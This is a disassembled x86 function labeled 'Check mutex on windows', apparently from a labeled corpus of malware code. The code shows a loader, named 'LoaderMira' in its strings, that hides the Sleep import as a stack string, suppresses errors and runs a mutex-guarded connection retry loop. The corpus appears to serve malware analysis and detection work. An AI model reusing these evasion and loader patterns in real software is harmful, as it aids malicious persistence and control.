Function at 0x10012c47
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001d0b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0xa1a0
call fcn.1001c590
push ebx
push esi
push edi
mov dword [ebp - 0x114], 0
push str.AAAAAA
mov eax, dword [0x10026ea0]
push eax
call fcn.10008259
add esp, 8
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0
jne 0x10012ca0
or eax, 0xffffffff
jmp 0x1001316e
mov byte [ebp - 0xa188], 0x53
mov byte [ebp - 0xa187], 0x6c
mov byte [ebp - 0xa186], 0x65
mov byte [ebp - 0xa185], 0x65
mov byte [ebp - 0xa184], 0x70
mov byte [ebp - 0xa183], 0
lea ecx, [ebp - 0xa188]
push ecx
push 0x10024478
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xa194], eax
nop
nop
nop
nop
nop
push 0
push 0
push 0
push 0
push 0x10013701
push 0
push 0
call fcn.10014727
add esp, 0x1c
push 0
push 0
push 0
push 0
push 0x10013820
push 0
push 0
call fcn.10014727
add esp, 0x1c
push 0
push 0
push 0
push 0
push 0x1001394d
push 0
push 0
call fcn.10014727
add esp, 0x1c
call dword [0x10025ddc]
mov dword [ebp - 0x15c], eax
push 0x2000000
push 0
push str.winsta0
call dword [0x10025de0]
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0
je 0x10012d73
mov edx, dword [ebp - 0x158]
push edx
call dword [0x10025de4]
cmp dword [0x10026ea0], 0
je 0x10012dd5
push 0x10012b78
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
nop
nop
nop
nop
nop
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push str.LoaderMira
push str.G_sX6__d
lea edx, [ebp - 0x14c]
push edx
call dword [0x10025e7c]
add esp, 0x10
mov eax, dword [ebp - 0x154]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x114], eax
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov dword [ebp - 0xa180], 0
mov dword [ebp - 0xa17c], 0x50
mov dword [ebp - 0xa190], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xa18c], 0
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x150], 0
nop
nop
nop
nop
nop
lea ecx, [ebp - 0x218]
call fcn.100024b0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x218]
push ecx
lea ecx, [ebp - 0xa178]
call fcn.1000cf57
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xa178]
call fcn.1000cf89
mov byte [ebp - 0xa198], 0
mov edx, 1
test edx, edx
je 0x1001312b
mov eax, dword [ebp - 0xa198]
and eax, 0xff
test eax, eax
je 0x10012efa
mov ecx, dword [ebp - 0xa198]
and ecx, 0xff
cmp ecx, 3
je 0x10012efa
mov dword [ebp - 0xa1ac], 0
jmp 0x10012ea7
mov edx, dword [ebp - 0xa1ac]
add edx, 1
mov dword [ebp - 0xa1ac], edx
cmp dword [ebp - 0xa1ac], 0x3e8
jge 0x10012efa
lea eax, [ebp - 0x14c]
push eax
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0
je 0x10012ef0
lea ecx, [ebp - 0x218]
call fcn.100032d7
mov ecx, dword [ebp - 0x150]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10012efa
push 0x3c
call dword [ebp - 0xa194]
jmp 0x10012e98
lea edx, [ebp - 0x118]
push edx
lea eax, [ebp - 0xa18c]
push eax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0xa190]
push edx
lea eax, [ebp - 0xa17c]
push eax
lea ecx, [ebp - 0xa180]
push ecx
mov edx, dword [ebp - 0x154]
add edx, 6
push edx
call fcn.10011aee
add esp, 4
push eax
call fcn.10011d2e
add esp, 0x1c
and eax, 0xff
test eax, eax
jne 0x10012f51
mov byte [ebp - 0xa198], 1
jmp 0x10012e5f
cmp dword [ebp - 0xa190], 0
je 0x10012f82
mov eax, dword [ebp - 0x118]
push eax
mov ecx, dword [ebp - 0xa18c]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0xa190]
push eax
push 5
lea ecx, [ebp - 0x218]
call fcn.100036ad
jmp 0x10012f9a
push 0
push 0
push 0x438
push 0
push 0
lea ecx, [ebp - 0x218]
call fcn.100036ad
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0xa19c], eax
mov ecx, dword [ebp - 0xa17c]
push ecx
mov edx, dword [ebp - 0xa180]
push edx
lea ecx, [ebp - 0x218]
call fcn.100026a5
and eax, 0xff
test eax, eax
jne 0x10012fd4
mov byte [ebp - 0xa198], 2
jmp 0x10012e5f
mov dword [ebp - 0xa1a8], 0xffffffff
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0xa19c]
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x110]
push ecx
call fcn.100126f7
add esp, 0xc
mov edx, dword [ebp - 0xa17c]
push edx
mov eax, dword [ebp - 0xa180]
push eax
lea ecx, [ebp - 0x14c]
push ecx
mov edx, dword [0x10026eac]
push edx
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x218]
push ecx
lea ecx, [ebp - 0xa178]
call fcn.1000cfd5
lea edx, [ebp - 0xa178]
push edx
lea ecx, [ebp - 0x218]
call fcn.10003694
mov dword [ebp - 0xa1a0], 0
jmp 0x10013063
mov eax, dword [ebp - 0xa1a0]
add eax, 1
mov dword [ebp - 0xa1a0], eax
cmp dword [ebp - 0xa1a0], 0xa
jge 0x1001308d
lea ecx, [ebp - 0xa178]
call fcn.1000d8b7
and eax, 0xff
test eax, eax
jne 0x1001308d
push 0x3e8
call dword [ebp - 0xa194]
jmp 0x10013054
lea ecx, [ebp - 0xa178]
call fcn.1000d8b7
and eax, 0xff
test eax, eax
jne 0x100130a6
jmp 0x10012e5f
nop
nop
nop
nop
nop
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0xa19c], eax
lea ecx, [ebp - 0x14c]
push ecx
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [ebp - 0x150], eax
push 0x64
mov edx, dword [ebp - 0x16c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0xa1a4], eax
push 0x1f4
call dword [ebp - 0xa194]
cmp dword [ebp - 0x150], 0
jne 0x10013103
cmp dword [ebp - 0xa1a4], 0
jne 0x100130b7
cmp dword [ebp - 0x150], 0
je 0x10013126
lea ecx, [ebp - 0x218]
call fcn.100032d7
mov eax, dword [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1001312b
jmp 0x10012e5f
push 0
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov ecx, dword [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [ebp - 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xa178]
call fcn.1000d056
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x218]
call fcn.100025cb
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4